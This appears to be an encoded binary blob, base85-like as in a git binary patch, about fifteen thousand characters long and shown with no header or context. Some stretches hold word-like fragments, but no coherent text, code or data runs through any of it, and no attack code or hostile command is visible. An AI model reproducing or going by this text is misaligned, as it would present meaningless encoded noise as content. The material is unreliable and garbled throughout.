zQ?~oym!OPZJ0CRBgW$zG&ton`?$7_BNM?3pywbJpiP-NX`HRhfEe%}okL4f?+FXYt z1$?j64cSy8r(kR=M8Y;NK}ri=IR+6&p49a%kRNKg5-GES++(@FaG&H*x*K7E#gn;T zcqjoM3YI#oAQ;M|R;3QBh~E{J5?jaZ>#+ObS6*de z)V`k2eXH-Vg^*q((m(x!s*{$!+LKeiM_KNrzMp5%VC#pfoo(W>}_|`-6-kzJfMnvi1PqH_$4x=OaHquEMpsPF0}*R6lMp+ zul1X>%OMW!>9MjOy;r!KOhM~blt@EuHvF$Qi4krw^*GQ}^20-D$6Lc3rSRI;r1fex z^*Yof_1a?UwXew<(3<+L3v;|&Z}i35B_F%_xN@WKIw?;E*db0WR|rFnVLC)9p*6h1)NtL3ejI>nO!oE_R^O2-u-H_0lvhiC{Y?`rBuQnvn!>J z_-VLR*@>O?Jn?$o+X#5j7f{d-0=~FND2|{z;g`RqvlmY#gGN&&G6$R=CM7z%m}qG@ zA+dV2>z%Am% zI>HD~l-1`Ow!*-0d&4`==iTP<4)lo2=pPWY?3erjU7z06xj1}qyOvw-5AJ_>yv086 z4K#X*i8hE`{tGHBDH(QQn%JeA!w-ek%+$=C0!{>CmzzYMW`ch4?mQe+R4 zTVKZCGq^pCAN~nepUXLM6@Kq_j-~GG9`D&l-$viY*idy08wqjPs^1fHVnQf z7lTH+U)xMkIhmr`d7{KFd0@&4?wZ%Kzc5Yga-8K*XvN3pp~%05e!5d_|D66qe_4ZE zt@__WI^4IfC=tti7SdjslF@!haxwCB2LId;Kel2JVYA#;;aXE0t8X>SdOyS?)pS$d zX1|IrqdckN`$k}+RN@09V=s|W38qOU5|%@@zHv70YvT9%{oiN}*7$;ZR2sprWeBc7 zGW@A$2xgiH?qE4&>$CNI2;Ln!*$7?d3tj37-R%i2lbzD;kl(A%CGYP;7vG@@z3TJ+ z&g1>P&np|N-}}4+mUG&CNa8aMf4M6N^+MwBcwa5`cf%(hT*L%8-U|Haye!&#$?3J@+vg&j(Y6ZAp%aOO+S_~ zqe-P1U7KmrwL4i3OYL**VhElbdiplC#du$*OFW$>8=V@Z?@TtOHk9$TTz87m&}=8q zlxD*Ut9zWYq*0)-)#r0|w9%mvrW~}feC+1n38wC&Gs+pAS zs@{FRdZ$$xi}uV=uVh zS~;4wuw;^HY*u^x$Jb=w5Yx7Ja@z7pXq#@*P}T~s9lHS|&KwDYa<-<+yh?gzbH5F8 zO5by?$^TOz&w@l5GYWJ-V1 zlU_!jpYBs4jZ1x)W`8=!!HmL62vFxoXO>*cD}ZNA?!10;(~(AN@O9h-><~$>8ofIB zwf+)%X%E=pVK->Cclbt?L3E!{Y>Fy&pHZyds&JM;{B6NyM)X8q^oW!h9Jd9%!>sIo zZ}TMU{lGS3LDLzwrJL(|HrGbUPW(#xjh^(4nbJWo$Lt2}xf?ybt%~=!CM*h$zFFJm zEx&ErRvSeZ8Bu0USQON?$PAH1#z49zEH>@fAZvo|ZPuA-q~Aikc5z;ia=DVZk=0Rb z{3ZE(xqf18C}q6bIlQL=#xoDY-5niI32#~ z#L*b!#KF_FEMaG7sH^MMBBO2z0ioP;ymo-Thin`K8@bpwNJBRmo$Gv^D{73*8ZvFx z;M+{5uLjY=TSuoGB^t$M!yy8vtBk3aX)^V~86JzM2y@b#7<}QzfE0a;ufP%HmU1DV zm}#_$EsZwuD5Fh0%4qdR8Ld9kXlG;?O_vHQ!)TL(2cZ#t3|1!Dy~arC=NoOu`r4j{ zeU)fCCevI>@6W94rrD_sp+5$O?7b8d78@L80-&@ zK2x}{=@5M52DRxx3>ALt=4Hc;O*{CSa+}k^2v6xYuA}HJ<5;c*I~mn5j%A|lEG2Oq z_g}X`i$H<$DH*^OrX8tk-sHaoKFY?O` zs?ZPflw~?uUCEPJU0mD9YwUM!I#S;c11%8zP6{4VGMO8dV33cnxbh9YgnIoD;Hq6? z$}JO(X_hV{U>30d5O`78=UEjidAE2Z5H+;LKJ6&d(r8BlW`(yZCQ|r60*BXWg}V8~ z7kb41ND~*calQz=V2IO_@Ainl@QF{bxiEejc+wEJ_9egN5r66v_vyxE?#)2c^{Pgd zZ`V1ve~_X5W-+$-h-FkJ!j_siE_tiZL3dmx-48xln@XfI-TJAHv_?i{{xT;(v)#l}O)qQJK$=6JM zqd19{oJ?EX81Qba`?tPIiO^Z)qm6Z=G#2l?foJo)A^D>rIn$T3B`v4>)hcINhMX-% z&i74_bC)6U^tsEIb6Z+Y_?rKv&uvByAakv%&4%PXQ`A?!oZHiKelSF+u6(p!w;MSJ zpiloBuGOMEIcl5x(lY*O2r^~dXJj0L3~V{3_rV1A=lKYpBi$rqx<+qPu-$xt*EP=Z zdzoBi&-c4k<#X(HlO^8$O4aIs&;JDZIk`-hQO)NTdZB-&FtDwyigxT9PT;c@%3b9u zyWPC;6ilB|o@2Gq+&Q%}{q&lq z61nDVW7u~!aoe74dhJt9CGxoNm;iUP90esr>~h;0;doR*L@zhT#1H7Rh;{)!5oCYs zw`4x%_FO5Ok1njiCvyTjVsloy$kZ-QiA)ARm zNXc|mT_&15YU0>zh$@d6RkoY{@`O z+?#2V9hoM%?*l|CTTv(BwLO$ z$=0Jxf}j3MUxP`iIRsYQ-&~}sZ1YtiB#fA3wNa%}?>SZ*8LPir z|7RnvgD-BJC+;FooHdwFKitK_@WiheF7p@``wSI(X}78N>C08wnf`cv3B)>)O|^A- zuIIR!W|V8}hg(=LGS8}fmjiB`6r8wFW%c)EwW>qK7xyIrS5utxN*9-F+3WrTgeP#^14&-STD_|z3&aYh?#FEZ39Nj`S-?LPJ3 zmQ}2>IiTpFuwp3-Dz@{Msali#8hz!n7JCJiE?S7KO|h}h%rbc>Tx=>_Z=JAfK4f*X z4=hz#1AH|);QXgm?B>a`DwlGqiHkjJ498ZVqaGZk)0nU3Y%HCgjx<<97IRSkmiz3W z;l=fheC+0%z&ljl7Wl1sgJGyVR{tGe?BzB+HJzKT?Ocsoov*t7;B$Wi?rOHAVwL?zGgB_BV|NWR0YgCf~P5`eX2 zD>jq2%66DO2&$I-r@1n-h8LU*(mCw8lNPJapZVq9;gQcVM~@S^znQCN zr-l>d$;R2{fy#*(POmL)IoY0BsAat9Ykh%NM!A+zKlD%@srBNnPAylir_0)*aw}eL zF2$?m3cs8WXSm9pxOm!p%dPOvio_sQbEgE2Os0 zhuUpct{7Sfy&cKLARNjqqw}E*csS~>;ed7y>Y)SUZsc=li}0o#qXhQv^0Aw@Qi*BE zVgUQ3>gfox2wWRrhsw~%voM#0H|&|Oc1rWUZ+JJf;N9TyrlRMA>pDi~8_qNQQrn-d zrAjvXL^Vn^;W{ftP=WATavu9D&QlGiWE)NsuCs>RI3Jv=X@tMbQ*A5#GA}lqt5rkH za)clVFDLcQhI*J!{Rcz6+)z_P6NZL_APApN&KkoBQ^?0|{>E^g--6SGp&=m%!i&iH z**U5qhL_>&JyET)s0F79gOfl4;o0QeY&cK#IcFNq*)2Ft7@PzW2v25KiQ$BSO_}!_ zPRT}_SEHULoT?#^K=@1}(;D(JTXY1Yd(Kwf=lF60^{TsM;~tW7B+Pr~6Zu=KTC+P+ zsdc{8UmzshozZ)Z)Xu)tGDubWo*sRzJ0J7~jBYmcIX?Xmdf*SYXGu*avxA>`iBYk= zCu#^i@Q06Kbc&%yP(F6^hQEffhL5xm3XoPg+HiKhC^zz?Nc1y~41tK5#y zMK~+?kas)oM*iN#-1sm@ZhYVyZW6*n?nZ@!4^r}Wqj%aoTR~9G_b`JG>SQ(#P~Dim z0-b1q>kNH?U(c6GPnXqdphhdDF00AB%ur*pmJi?$47IpP>L_%z}pc zbc{^OK9;Ml8c+^^mm7>Ken?&X;`!WDm`BS$$I4Wwqyb`WT;H zY11yNzp6ma zaG1`20~=pscX#0YH*j-4F1Jdd(U0vOE=A^p2lgq<@tr>*7xIFyVnn}2uVUOfT z1Ah-iBiPH@$j{Vid>^njDbZY>Yh-P14W4B#KSWzwC}%782RyB<t_9+8B7}okGBQE;qG1?-DL_xy{sB%Of~S((p3mta~AW0~Fj#&_!qc=U_9_P>288 z`ERk=?l9k@c777{O8d?bt$qHT+Zome^kpu0B00nF2HeV3Q}NNyR2Lal=Zv6e?OeXG zIU@(xr<&E=ek=xMbaQ#`uQO^WXnMKNH2^&ND02F_Joncb(*~~r1KjmJkUy5H8tn4i zU*~bc6)t0xoNJVAJvODFG4AUxb4yE$xRQVp4FJI1#mdHMs#+QC)CcAsYQ0M;IHO?S6b?&e8 z5r-=cFFwvLN@lox>v48lXglokmB-mbDdSqpd#U9-moGcc$ILI$TG+=Prq2DfYd%Z% z+zZjqd7%xI;qpDvS+GX&=efVmi-g1O!`Xme`UG&?&7#&`CY}!PEY0bXg4V*i;e`D;OH`uRE?xk~~ zo~4h029r)5?pymZ5LpC6`ds^v72>(}A$_iWNS|vTI_X?{w_Zn737vGVy<7h} zbi(Rfdv`M%Qs>&I)tEq#=h~;$Ttu(}st)Dd3oxA)qRzDs<&R(y&$SQLm`ku;F~FK@ z2)4zv4BtXoqJus64%BgJeqM+mwt=u@AixX)sdMeUa3|zA10txJ-uz|OS&BO8Ehw1b z?!?fiw$#9zV)N9$PIksS$h<%ut3PFB#VtaiH6^3R0; z`!<3Q=@USvPHV1qC+A}NY~qcu{#NTpA=6(49*tLf=yRlLeehwp+QZB@+};#sAbDVS zBu{Iu_Q*S+NhcvHRAj@Lb%o(4RZuW0yog1!+KA(CHir0e4Rr}nkg}SMep*c^g z=W?n3pH7CZUUV5WlXZZEB_vcQLsxH``em|U(;xzxL1C-7^xdgCT2%45a_ zr_dN#Jz=EP`_d_8@dVN8cPjt195ZQ8_OU&fMJ|to&i+Z8^axmI_HVSvuzNcEMD__~ zwC+Q2@!7u<&T~J<>XiKl;X=0*R+;@L;S%=%>Hi{J=5~R4vi~OB%KZ>)P4+*8%kz08 zbhcpe zkBN*${6wJ08ap@D2JD36n>R3nqJ@CNpzCN14jKtTMN{VMVb(#FvzS-oikE_G^?D)6v!i?b8Ao#wT`?D%9@z}tS}sPb89ju zs~)KWQf2W-=-gV&jd9>V2cTrd#T$VW60~nXr)!jOB<(Mu=NhF{n6tG$ zD%ZGt2spV6o2${GEkMKNF8CT(FgpxY-hfmc30Bi%*nR(Ez+DK(-HLMocjcVVb9)FzoI95)5izmQX9IsHrHO58LOHK~3TT>w9-eyfy zxsZFiHBW(%dx!P90wMSN);a}3?hmYw0BX5eOSM}|%gw3^M?a`t)>kiH)tfks*t>tD_g`*#ooAnireo$^Qsg#p)lT&3m<(^iFhm3@M3FO{y z9i!agf&8g)*1&Sf8iA<_%2oDp8gQ``^q|`EBL{>6=Zed@q+sH3P43rd5O(;mw4eF zcMLEJ8rYP~sQX5HP>VeUNW5OWpppFpAUz8k+p637{Cj6XsX`#qJ{m&O<|#_WFQIbC z;oCyNxpqDlE&m({Z1{^YIbrK8E;!%*1EjF^)plD@)ZcI^GS_H0aXH|3?6JrW+6_+{W z@;(;9vcyat2JiAHp2RH0CXM%CCuS24yIsLIF^6zmv!6@$d7Aya;$p~Ql>7!=6poD- zTxeg7Ukdrj^U#5I3N~u@=-tmKxX9+xH8}q#4$#F48JRz_8P>5&6f!>l1+3f!9TYMt z|12!;1y?9!X8yI1prE5d=I8Sq%7QCx+SKCOxAZg$uCn?2bV>fFc!4OmS`{qI_o=~a z74mj||ITRUdb1>eA2SOcR?3W{j9doV&!PD|Ti)V$K4Nnz&vPV)9UP>lP>CZG*!c=Y zS>{MO%ZA!qw8~uhk=QW%4RGn_N{k(R)P9dxNT#z7qf~qSBGT_7V58OO4~WP*IO2ja z3L6}e6+Ix!Sk=Fg5iuys;|d!ek@oESc!f=hNSs`r)CLuif7#ws+M{=h+NJ=nyj!55#gP41ydBZBO<~UrYUSsL{2A{=?Xg-kzMTV z422zu$WGRqrLdzBnNF!^E9^u>o?`#zD9nh;?OYk>Dl8n86Kr9gy^8}Mm2w*4bM}|O zN}@86l+P<{S+qgFn_#;ysCw;U5~V&DD1CN_NjtW;P#NJ>F{#e7#fq|1OwuUzD+=ot zlRrrLs=|83aBwTI*A&(-Ccjh8B?=o5lV%+0HxxEFCeL#zT&l2azl zVUuF=!wnd}x0Nh2V={`PvO-~VWAZb(tkh!^Yj6wZ-zxi8barv9QN1`m&&A|i>T#{2 zk7vkhl=eNvIWI$U+0J@}6=uksmS|^#!b&paZPweUW=vUzOy=lsQdrXr=|X*MR#@{4 z8OeFDMPV&6WC+W)Dm}K!klobPHk&VcXJv@X*56my*%|TPKFHRxP54+VdW~% zkjtsL5A6bCeP!oig*7F1mt0TDKD65rdrZ!x)qJQlV2qMm*q+A1qvXl|l*LC0?;b!I z{Zig2;pGFsxXcuelBdaYuadg%DEXcBK2})CDEWZ0>{D2yQIcTUeub5dlFlsqL}ATG zNpE5Y6xM2#SnScK3Oj3*EWZ@mJ!t1fA@wLZ!f`uf--tfkGD;YKTkx5pd}@?@LVX^# z`=V^pD7ltB`cg@KbdNfK`|xO)N9;R=4IV9b zk>~eH*TY83H?*i96gGUcEZ~U!sJM(AEzLM8M{Rx(95Y%5v)(bKrSYSsfIa%jRzDa= zi%VI4R+7yeE!$Y{7lq9qEe})bU+szDvUs#)QM)H}AI8Wn?Cqb*UQUdWmE`%C!u}W| zb7+x&E9|c^ay=>kQT2?mvXGiL9FAWY80%RMUmW6N8{l(wf$Q+&Y2H{PMlVW7ru;bG z`{>8$l@#vka(W_#J4TG}QS=lkzu%ZIJ#ntxDg!UPT)DXlD;x~@a?5qN66Z@JSDZ?m zGIGsPxTRk_IV}~Qr3Ij+D;)gQkDyB2Qn~-?T-vnTGL6nsUIA) zBb6J`a?o}Zo^HhWzQ&POIPSU7SKg@iMP4S@H!J)qiP+82Nix;5~7KA4{01g_ZSN&Uf$c7Tt%JkU3oxeD-!B(J~; zW({u&am*yIzzODDiGr}1s5hZzMl2_ma^Bw_GXeN0DPVn4xASGs! zkqp7}2Z5BCNd{8{^E1J^m6>GZM)1OUK+4S|ufPcw+ybPXndB8X!He^NbTHN5Dub83 zdiYFjCV2&pM!K0vUV#%VS_iUTW|CLn1h4RmeLpkF&sV{#{PWEKGszEF!D~c%SxH`j z6D%Rp$xe1d61+~Nos;AhIKdkg7=>1Dl2_maOaE%bznUa@1x~Q6J?vqyoBW_QkmVfW zVQ!LF-~?}vg=$B-NnU{ytl)Q?@osVkCP=VK&1*NwD{z7}eB+wwCV2%;@D3Twb(6dT zCwQ00JU4j)RfDyM(VzKll2_ma>(ZO??;A;8ffKyf5Xc5M$t!Sz4NZXTaFhHZ6>RK^ zrFV~;i6*#qOy@`?- zzf5fckXk#O52G0G!rFgwjo=kHh4mK!G~Cs&$3pe@lydhSsHm_3{{+#_h_N#73{VWf z`w;NLD_K7jc6wo)V*LDH0*abO)(_}s?Z*;8vKqm1YfmSruE432dl5kEqBroV?Hll~ zbIoHG*NGHWn6ytLpI6`% z4Ka^nh{O4V@w=&LnE5-9cs{SdDH^VjvV2~FQ#8W#U>2z>aEb~(CTDd8PSLYw186&+ zSKt&)HJgD7&EWHN(KPdPAmRLWFp;9^W+sq$ZC-&>G{fX*6z20!#YHns&WREu!Rua% z8k?s9%VAb77vo$7btTHN&85O}djLiM*`r7phK?sSlHheOMNQ57QJhEXnel(-lHheO zMQzO&S%+}e1yBG0SKltOJz>`x++tFq~F7$xV1VCgLgUn*6MQsA{fpj+!k=y za5A_;SSwiK3S&1`a(JAP{*z9jF51tKx?~h zf%>zy>lPrwjweZ=`nQ9EruwI{*+1sRI~Jo(NA=C!c1(Je#cYCLxL(>ua^O`R^+K&M z=O_V(SzXnUDCPpHuIfmX9|mEmzNI6vm9GUVR3fpR<7T-1VVsE%*sEUdZdg)cC*eMB z2+zcag!`#h61$E;oB?h}(tOPP!EOZaUWt8b;dVX9kl4?qdZhabo{3NX0{wWmfP54@ z$t{7(69-5$(;bN(CO#!R%k7FKBB8w7Z1+P<_k?n8b6mbhBtGMN#9a4cIF`icY-_%| z1U@|R1!Z{29mKkavyi{o-N!ZNOIpe@Zc0lW;os^9n@Qf%k@z|cWTctoEggw(xfYB! zlf0!P@tqH)Ofr+ar6ciu2FPZbNg8D0hfe6j%!(v$=|~(K4rFmflDBjujxPYRx+2M2 zIubwELY*BINlxd)uVlTaBKaAX`NW_6lf%J^ByZ_R{Kb!RM=FwcSwQ}w_(v;}2k`!z z_?LS4xkBnz17es0b|)%?w{#>-^E6<_5aBHy2}fB&c!=F5yY%|Y?Z?T{%x zM0iU_B3+eb50R1Ve8l9(x4a?3TRIY1CUsgcguhu5)l4qqg+pLJA49%Kn7@=G;hNBi z^8+LpQ2f|-!2EhyJc>VSFe}>OL<*t*Af9-daOy6C#53$y zG@h7N2)(KGATftH|c@6K#r2Ws{6~>MnxBbNpzF8b3TxRYQTP z8b1s|HfwNZM#3a=TA)Teag0`_){Vq5EeY3+#4!qpmFX2&Q9N;+!>oypYdI9raf*jC ztDQue$*Ee%y9g2??a6r;K_YBYDQJ<)h;RI9~1dOpWO47NE8EL(G8zm7=aYQEYJb$Nn zB`DHK<`D1aoL3#D-%Rp~Ty0}2IIT7Sc8^0t&gopW40pT-_zeE24!c7!KF*nh z<8D6Qqn)z|=eh4ef6m!IplYGfRR1NzX+rdWf1bb7f~`gKoQ_S=clR+2uyai}j+c8i zRdp?4$K{dxPG>GnVRw3Wz&CXOInMKE7QvH(Bv>Pt`RF&9Mx#!Tp;gR#pTzu*lbGM7 zm>YQTvxLoZadNSKUrIF$djob_^3M9-sKo#*d7xF2Bp7CfB(m@#4J;a>o| zBbf0>Hq0KX>kkF+w{Na`P@9#~^Ve-8%o+~E=i<)f)}T}KO@oHZ`Q}W%0NI?yc$LPJ zMA5i2r4NbuZsAN}mY(v?luF{|U>OPT27?@i6{_ZuF+kT|x}d7I0#mh@E=D$+Vpv=x zOrjiyr{&V6A>$2Z?5@nnC4^i?MMlEwfk3YH4opkSrN9*D_36kaX9Q*7Ng|79&ElPg zAkXB7D*&i&3@NU|P?;>=*U%t+P6XgeD6T<-Q(Y|_T)vf|c&b-nkg|L#tJWcO!KH+3g~V%C%23iX`;&Hn$p6Chdf z1?AFr0w}qL^SkB$J9h#kr#=ilsdMzTV@WnM+fc&)@0|b%9*3W7WhPMUs3ZQ%((VDQ zf_%zC1a-2`1ltreKlt=uRMK$TH%t{z1_{W3dRV3h&8WbM|sOMu) z{3~F*6n%_&R2bA{iCf+m-}CD6))Pbhq6~`3JnZsUdr+SXMjjd`zet!Bz+Dn$Am&fC zKs0w6eIS~<%_IH;`3tn_i2tBbGmztj3C}zZSVsWbD^WSQL{UrwR!95?$?l52H|aU2 zM^w=(h+jhWn^Gi9D~Ko!+3oA2)w1cT>fFkz@0?myp=60lUm#IO{0B{Us!DtD%;6Vo zC7WSifu${I{-Y}U1yAL|tK%DUE?+jZvsGw{As1nF#DCDDE~p}5!BbV@=kJp$alO+W zP)Ga+t@yK49q}KWK~dBZ|G}BP6_Y#3ge~y9cSh00y5&yw?-ztJ*c;c^)hQUwjnn?M6 z4p=JClSljq7t}y`BwUE6BIif<|BhULPf&Ivr@!CHPE*T%knVKbxX2ucBXGMZdU;z9H!!B7NKCntw-_Ischc%bJ5fe%_i7@z*W3r?UG>>jZi!4^Yla+s2rX`0nNL8N0%1VMet9sg+^fz$v zT#%x_q>BDvWn(w!#yV;7yH-{{<5O0?f{nFJRqkF@IeuDYV^>tsuP6OEq~Dy{0fh|p z&zyQ0>8aLpPHC*XvhtY^vhwNArz+O1syMN#q0>{eXL(~xkaE4izR$B59BQ7Q&zVDFV6gT_)Z9;_i|WPh zsRX%~!@Y&Fga@a&?SOgQ%aIl$h+kMN!KmpiiK)FDY2jwbiK@LEq2?o5hkH3fEhw1b zaW6-xrP2oa&>h7w(x|;0;XP!S!Mz+_9cuxyL*cc|;a(1}uFA>eUXJv-%+9SGnpH&+N&4IJ^^k~wO21XVWb6i+^ZLTstq_BS=g%=)qC|k?$wJ< z%8KIU+gpRO=(B`R_qbOtI+Q};ckZ7s~7Q~gg8;PS1-EpXTVw9s~6p*MDzFunCRv|s^f)7 z-H;vCd-c2@@QM@NNY|RcVopFzQ^c!Sx1jka6 zg(V@jt^n)eB#(RbV(X`aWTv6^>P7PJLsL<;S1*$Pjg!)TY>3uA_v*!l)dzi<$Gv*7 z;f(>e@>-%Ru}4>^E^@D4Yy?GXr!HuTjXV=xzk|B#ET;GBdEBcP8+8uq_VTz_FE;uC z2{RW;b-UcK1kge$zQ8Gy$T9+Jhqda?0@hkD$r7kh&6Fpqon zViO1t_qbOt_9Wp)y-U%d*i(c@c-*TOn@D)1$Gv*7rz!Jz&niT|-mB+vuU>4@A@pme z$Gv(nWnyzZer$+M{s{E*J?_OrF#p3I_v*#;UOlbl zz0`7^SAwcBy;o0bVIO;#+N&3-c@6IQD3;$7FE;o zP=wVOiZv{~;S0TWuhDRPFLw3Ys($ zqC$lSHRuY%PpY8cs$E`3Sb>BYshw97kdcwvdBynjjMUC6#-?Yac3v?QJ0rF8iaW$o zJFlqx>babF|MSkP5=fh=cV3Y&wexB+z??;R=u1M?TRC-6x%28x6sgVT+fJb|GWE_Y zE-{&U=apJ*Qai71g86yZ`~>-a;$mrddgs+zfMHMXydoU;^v)~7d7j>RMYzx_g}G$^ zNw~z*JFf_rd3xs+;Z~mBc}2Kt=M|BvomWJvc3u&w+Ick>;#KXuS^%VK=M|-`+IdB! zYUkDSK&p0LH3w3)^XeiXRXeY^v{dc9S`DOX=hdqqtJ-?)c}39h^v)~xJnZS6SL7GRT)YQ) zp)h%*Z(MB2gvGEzIQn4gi_d8Obr4KR#nn}jp<&MUT=sdru} zQ184_px${!LDYn9fkhXWR5V1AIUH{nxiy)SsdrwHDsvcfYcV&S!`ladlGQXa_0Fp< zte|&ZsS0}M)kN0SJFgUh-g%`6^v)|1WDLOSi=9_0yCKw(-YY~vQ#-FXM5&!u zn*c^rJFg=6t>)>SS34kuzIU<470l*6u3sWAwew1WdgoPrl*YO9Dir1nO6|Pj3R3X) z1;|y$wii5Qjscy2RTKMbmfH!zL#_$EeJ3Jj@cmVJoPsbSk z0r;S&V+@n+4C9EWV+?NueALr1h93bw5$G7hDHlN;Gte=Hy-^T0107>XByI*e#;`w- zJTnl1*z=wOQfLM`#&8Lc5;K@`GfJN4X16jk&@qPfz`B(g=orK6fRvkojxl@?NINso zF@|pe>0s94@6+IA{w=qY8R!^8BHheD#~AJdSuZotF@}88=w}8x#*nX_1I$3j7!v7a z1vzug-m$v50smxB8DkiHP#ef{8p1F)&@qN{ zpxTjcpkoZVVvTnL9b?FeGRX~ej3FJ?OgGRmhGa0;4Rnklk$G;w4=2G|?j)J-20F&@ zdmzi)K*tznT!LYC107?S4P=KK=orHfU`Bh~K*tzv!F$a?H_$PLM2@(Djxl6AN8Lcj z7}fxT6Kfjxl5x+JyogW5|*YV1W0C;5(Ld3I#gGkgU6e z0v%(>l5U|u#~7Z0&h-ifI>wMM2mL~Ujxi+CKNRQ~Lk{qOP@rQBSu!{jTwH{9ejzd} z6zCX3N-#1M=omvbiWtLCI1fN7#;`F4FnuDJoee-O=(xf*6=T?!YlMz5tOL;Sbc`Xz zE%$VcA%7aTGtyc4kxB;Otz!&X-_kLL>WG0Uz-tvB3kW3w8NH7&+_%^^eV+=EO zjNumGq3|mt&@qOesEp4^c2bPtao~lOF^2rfRT*PQ`>cvF> z-w>-}3@-z-!pa!KspOoBF?D8doSRRj;tvOX_<(v+bGVKi&pN3X!`7h8xg3xGDAcHviZSfWGMbUrK`5LR!Stb0Xf$g2*kIQT z2=p`Eq>)s{7;63S4=;>EMFC$;j$kxHVYZgNq7^{((h;rBRnZ^Y6y5PV!3&#yb-V;y zzJ(myuZQ*A@p~c1^;_d@Bh4>sjjH}Myls%@_ZWgum|uY6j8#lagJ+MbSjFhD%K+<- zEW`O)Wq6ELj6TXK9rhTj7#%@4sxFU?jwE>;KeD1D`?BIP^j3q0#|X6O$o|M?n{lL} zFp0w9=v00m@))ZaoyshgIc;uLrUFUN&q83ndNYgo$FJz>zew-VilVD6zTFs66{{Fs z!4i+LiqVx+kKr*^F}g~N{ueT$t9eiY->bgDNJMZ$eN9ji#VpK2ws>m>~C0Iy>h+&*UhU{A*? zDhJ@{SVb=RBRw6fxD@o`Jsqn^c#@}M6-hJG)3J(#XL&kSk??F!$0`z@3tsR(qeVmXk-6@iXb>;YtTMWAC9`S;Qt6#+l5C4MFA zJr#kDRpbxzgB5{}Rpcx4k%~aaDpLHT6@iXbWPg9Is9P870%8>pgWZXWx~W*jqri+I zbyKm5tQH52>4qRb*NAkh-Z@#Y3oB<3S_j>^-&A&N&e#fV^5w8LMqM-vXK9{|PbQ(#f)JvhKV->0K5>Lk}TA0~oo{m+l2DseQv5Iv7ckpzqBH^n%9ji$C zPM(fcB%fZMj#XrT`x((xtl}cd%+ETBi4;PA)=4}~xGGkW{R$&iaUW8(9wesm*Oy)o zbT%g=^FTJwf_gRCJpQUmk*REwF)tOX$e&WE@k8^f8VXF+_~8s>vj%5oC`_VgDprwJ zrPhtaF)az#jl?kuh?OZ7tH@#2M8~xpis(4S3me6ZRpeBypNdtaTI#1_6{!@o$YmtX zSjABIRZxb){Jj+l^E+lbHA-_XX#-NkDu%*gU~$GOhQbF4(kyX+BEUMSSVaq;G(m@F zP97e)9OK*psBdH}uS5CGUqPLbidE#Q!9Q^$R*|kE6{~n5Dn?VWioF42>=3KSWen%5 zFjkRMJQb@LD}DeJX(WrPSjE_R+W>ovRg7KO1@GL3$5_SKB^7}2I~U&)VjZpyL3od` zim~oXYSKm-s~EdG3p8ckaa4-kzZY!Eb*y5n{sA^Z#!(fk7;9jomTp7{rW$FOPiBZ} zM8f~dEn83szr3Y4Ko0*`<&HzHidBr2o`L+RidBrY8VcBBtYYkRu3Co2SjCu*RrDCE z7}K$eUVbCMI#$tpuQuSbUqIDD{H9ROJl2Hh|2|eR)`G2t^I{#pXRC}=j9qgk8Z|t| zD#orQ?05#uB-WWrQ`lpyV(g{}RE1bYW)VE;vm$HcG9UdW({MD_;~bD^=Dkm1e#c47 z?^4W-JPtF5O}_$hq0r$Is#+*aMmZeH|60y^>JkF9dNayZtYYlJX8@*+z$2<+6=M%C z2JA6bG4{xIfEcbMWaMw?T=h_2MpM%BS8^!K8c`Li7@PbDYcrZfgYetrG#M+kn#KG! z8VZvr9FI-mA6?WU5u3s+J>_FlDvA5UobZ7LB{}@FifSGi&B!YrTiT2{EJapuC@`zIhN&Zf{BGa z#yOVdQ_*pcagJp*2D1mq$c0$vsVlU zty&qIc58<(kN)QAsO?XEi^IDXPs=}qr|lob)A84D;Ln^sE3tt1d$yvg{}AA?KV}c4 z^}ok6-9Pp*Wbv(iSRwrD*JCO0-^DY-&)o#e@MkSV2mBkKherKtcH_@c{G>S4$JWG#j}Cm z{sVk&^7jqG9PraWh57rpuSJxu|0i-v{nl^7lKtdk7zV#9o=yAb< zNB-G(p5|YQXA3_G`j&p5Rj@XH4B9%~|8=8boZ%mzX&7hvOFzPIe!uH7eCqKZ+HM%< z_@nS_?axMw<^GNXhH|J-Y_orZy$x%M*nZ*U*X?54$*{uizPTe z*`EZOtNdx8x!O;|I9}s_2l!h5A3QtxU!e3lKmG*P9zO#b?(EmXvx{FJ`8W6vg62lQ z(+bISQuV;P*o;Ud&A<4~tcRaiM!|=StpNMA<|2aH+`p$ER*7jRZ#4DK?xc zn(6O%#`9kPZ}jUv{~WY(zkf9}Ilwh? zzaO51{7Fmko5-Jt{0hGUe1`bvp!K2t)@Sh@&#wUs8Sak+{HXs7o+JEk7vX1<|G`wl zc+4-w$d2--Ll2|Li5CjSm-Z?nH2&n^Bm=y0q59iH3#f#}P2e-55I{N|W7 z@B0f!8^#CzYCL!P^)U-R^bbI{ANfb|+~wEB+}!P71>NrPFT@<*>wgT%KlaZ-U-tPw zjWLY<{uF5S6aQ1d2Yd^yf9m(b^Pt}sG>81;-x|-){of(&7ykF-5aZ>yhEBfp zm!j8S`H#O~7)Sg&VFO?LqoILs{NK>`Z~Z|i{mvhc=lA|sGYsPge*)&zkAC-8@VnSQ zbC+Qp^IyaBC;!H6hH>1Vi099KdzAj-cO7XMzxw;}{LQZq2~YTM!qR^Ce?eP+_?b@` z#-IL880)|M<>36cfA&nn_{YB+`TxoyJPlJeEy2^23GcuIn6l_~xBydT0&`4hk7iv{ zj-jnIQx+mKWJ<=H@B^m24a_s;w3YA#rtAY2F(tkVzQB~FNMfeEha|(4kC0@V@&%H( zDSv=6%akzevzjRvA+x$EIl!__$z2VnV9M)Q8FNhe28NJp%3nzGOeum=^3fiW8m3$V z%9^GOMN(jjdkD_Klm)BdKFbT{Ki=%GF5fnlcbmuAV7l zkrbP<4oQ7euGqsj2P8dHA9!g#GIeSvjCz3Ff) zrhJa}t~cf2$8arZ2)5kCl=(<*Fs0LWcozr{0lS)V(+BV`ru6&-4hHQ(bvK*xERyap z4Xg{dz$TW$$(ZsTjJBsKYti1VkotZ28B@MO_1>l=q1M|>ao{3uH|4^Q;A>2|9?2cB z!J+UrrnEqNcfxjGhQEQmK#_NuausIx-KKoJ3@*o%WrN{!O!*f&yVsO?=+S+qoPhzj z-;}ur`A0{29mxZxe2U~jQ_ejA*JH{p7@UXEmB-gci{X)A-stp`7%?PI!OpM@PsB*ig;&B% zT?@Bl%4*o)BvbB1@+=Gml1(;c4+dZgT9^UfWXcJQ!!(#T6fzwrxP6<>z3gFrw$7K_v4r129G}z{=l-r-HSvfU7da zhSj}fN;Z<0P5BdgS!jy&8r+pB4`Ah93@xF;E2eBl@+wRN$!n&Je*!+slvzk#$3#H# z28{N7xGfk1tY?`i`7rP0;DY2$Q?e$&b(tdj;k!&}1UXm0Ua;1$H02(My9x%4rE9e* 